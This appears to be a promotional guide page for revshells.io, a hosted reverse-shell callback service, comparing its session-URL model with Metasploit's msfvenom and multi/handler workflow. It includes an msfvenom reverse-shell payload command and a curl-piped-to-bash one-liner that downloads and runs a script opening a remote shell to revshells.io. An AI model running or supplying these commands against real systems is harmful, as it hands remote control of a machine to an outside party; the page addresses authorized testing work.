revshells.io v0.0.0
Guides Create session

MSFvenom alternative: webhook callbacks on revshells.io

Metasploit's msfvenom + multi/handler workflow generates a staged payload and expects you to run a listener on a reachable IP and port. revshells.io flips that into a session-per-callback URL model — closer to webhook.site, but for interactive shells.

Typical msfvenom flow

  1. Generate: msfvenom -p linux/x64/shell_reverse_tcp LHOST=… LPORT=…
  2. Start handler: use exploit/multi/handler, set payload, run
  3. Deliver payload, hope egress/firewall allows your TCP port
  4. One listener per engagement; rotate LHOST/LPORT when infra changes

revshells.io flow

  1. Create a session on revshells.io — get a UUID callback path
  2. Deliver a one-liner: curl -fsSL https://revshells.io/UUID/revshell | bash
  3. Target calls back over HTTPS/WSS (443) to revshells.io
  4. Attach from the browser terminal or rsctl attach — no separate handler process

When revshells.io is a better fit

When msfvenom still wins

Try it

Create a session, run the bootstrap on a lab box, and compare setup time to generating and handling an msfvenom payload.

# on target (authorized lab only)
curl -fsSL https://revshells.io/YOUR-SESSION-ID/revshell | bash

revshells.io is not a drop-in replacement for every Metasploit feature. Use only on systems you are authorized to test.